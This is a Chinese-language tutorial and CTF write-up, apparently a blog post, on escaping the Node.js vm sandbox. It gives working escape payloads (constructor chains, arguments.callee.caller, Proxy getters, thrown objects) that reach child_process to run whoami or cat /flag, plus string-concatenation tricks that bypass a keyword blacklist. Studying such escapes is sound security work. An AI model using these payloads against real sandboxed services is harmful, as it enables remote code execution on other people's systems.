NodeJS VM沙箱逃逸


基本概念

什么是沙箱(sandbox)当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别
sandbox和VM使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。

在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

Node将字符串执行为代码

我们先来看两个在node中将把字符串执行成代码的方式

方法一 eval

我们现在当前目录创建age.txt,写入

var age = 18

然后创建1.js

const fs = require('fs')
let content = fs.readFileSync('age.txt', 'utf-8')
console.log(content)
eval(content)
console.log(age)

不难发现,成功代码执行并输出18
在这里插入图片描述但是如果当前作用域下有相同变量名,会发生什么
我们修改代码如下

const fs = require('fs')
let content = fs.readFileSync('age.txt', 'utf-8')
let age= 20
console.log(content)
eval(content)
console.log(age)

结果是出现报错
在这里插入图片描述在js中每一个模块都有自己独立的作用域,所以用eval执行字符串代码很容易出现上面的这个问题,我们再看另外一种方法

方法二:new Function

上述提到的方法由于不同模块作用域被限制了使用,那么我们是否可以自己创造作用域呢;new Function的第一个参数是形参名称,第二个参数是函数体。

let age= 20
const add = new Function('age','return age+1')
console.log(add(age))

在这里插入图片描述我们都知道函数内和函数外是两个作用域,不过当在函数中的作用域想要使用函数外的变量时,要通过形参来传递,当参数过多时这种方法就变的麻烦起来了。

从上面两个执行代码的例子可以看出来其实我们的思想就是如何创建一个能够通过传一个字符串就能执行代码,并且还与外部隔绝的作用域,这也就是vm模块的作用。

Nodejs作用域

说到作用域,我们就要了解一下Node中的作用域是怎么分配的(在Node中一般把作用域叫上下文)

我们在写一个Node项目时往往要在一个文件里ruquire其他的js文件,这些文件我们都给它们叫做“包”。每一个包都有一个自己的上下文,包之间的作用域是互相隔离不互通的,也就是说就算我在1.js中require了2.js,那么我在1.js中也无法直接调用2.js中的变量和函数,举个例子
在同一级目录下,有1.js和2.js两个文件
1.js

var age = 20

2.js

const a = require("./y1")
console.log(a.age)

可以发现是undefined

在这里插入图片描述
但是如果我们手动声明全局变量,就可以在每个包中都是共享的,修改1.js和2.js

global。age = 20
const a = require("./y1")
console.log(age)

在这里插入图片描述
因为此时age已经挂载在global上了,它的作用域已经不在1中了

vm沙箱逃逸

我们在前面提到了作用域这个概念,所以我们现在思考一下,如果想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域里面去运行,这样就和其他的作用域进行了隔离,这也就是vm模块运行的原理,先来了解几个常用的vm模块的API。

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。
    在这里插入图片描述
const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'

导入vm模块,创建变量localVar值为initial value,由于sandbox中可以访问到global中的属性,但无法访问其他包中的属性。所以const vmResult = vm.runInThisContext('localVar = "vm";');的执行结果vmResult的值为vm,而localVar无法访问所以值仍为initial value
在这里插入图片描述

  • vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

在这里插入图片描述

const util = require('util');
  const vm = require('vm');
  global.globalVar = 3;
  const sandbox = { globalVar: 1 };
  vm.createContext(sandbox);
  vm.runInContext('globalVar *= 2;', sandbox);
  console.log(util.inspect(sandbox)); // { globalVar: 2 }
  console.log(util.inspect(globalVar)); // 3

创建的这个sandbox沙箱对象无法访问global属性,所以值仍为3

  • vm.runInNewContext(code[, sandbox][, options]):creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行
  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
    code:要被解析的JavaScript代码
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

我们一般进行沙箱逃逸最后都是进行rce,那么在Node里要进行rce就需要procces了,在获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但process挂载在global上,但是我们上面说了在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

如果我们把代码改成这样(code参数最好用反引号包裹,这样可以使code更严格便于执行):

"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);

在这里插入图片描述
那么我们是怎么实现逃逸的呢

vm.runInNewContext(`this.constructor.constructor('return process.env')()`);

首先这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象。
下面这行代码也可以达到相同的效果:

const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);

然后我们就可以通过返回的process对象来rce了

y1.mainModule.require('child_process').execSync('cat /flag').toString()

这里知识星球上提到了一个问题,下面这段代码:

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

我们能不能把this.toString.constructor(‘return process’)()中的this换成{}呢? {}的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到global下的。

如果我们将this换成m和n也是访问不到的,因为数字,字符串,布尔这些都是primitive类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),在沙箱内使用的mn已经不是原来的mn了,所以无法利用。

我们将mn改成其他类型就可以利用了
在这里插入图片描述

vm沙箱逃逸的一些其他情况

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

在这里插入图片描述
分析一下这段代码,我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

触发利用链的逻辑就是我们在get:这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了rce。

如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值应该怎么进行逃逸呢?

我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来

实例

[0xGame 2023]week2 ez_sandbox
部分源码

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}
app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

分析源码

  • Hint 2: vm 沙箱逃逸 (arguments.callee.caller)

可以注意到这里的let sandbox = Object.create(null),此时this为null,所以得利用arguments.callee.caller

  • Hint 4: 通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter
    使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

  • Hint 3: 在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message
    属性 (即 e.message)

同时我们注意到这里执行code后没有返回输出任何值,但是有try-catch语句,所以我们还需要用到异常处理,利用console.log将报错信息和rce的回显一起带出来

虽然对很多关键字过滤,但是可以用JavaScript的特性:中括号 + 字符串拼接的形式绕过
原payload

 throw new Proxy({}, {
 	get: function(){
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

修改一下

throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
	get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
		const c = arguments.callee.caller
		const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
		return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
	}
})

或者是

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
	const c = arguments.callee.caller
	const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
	return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

得到flag
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值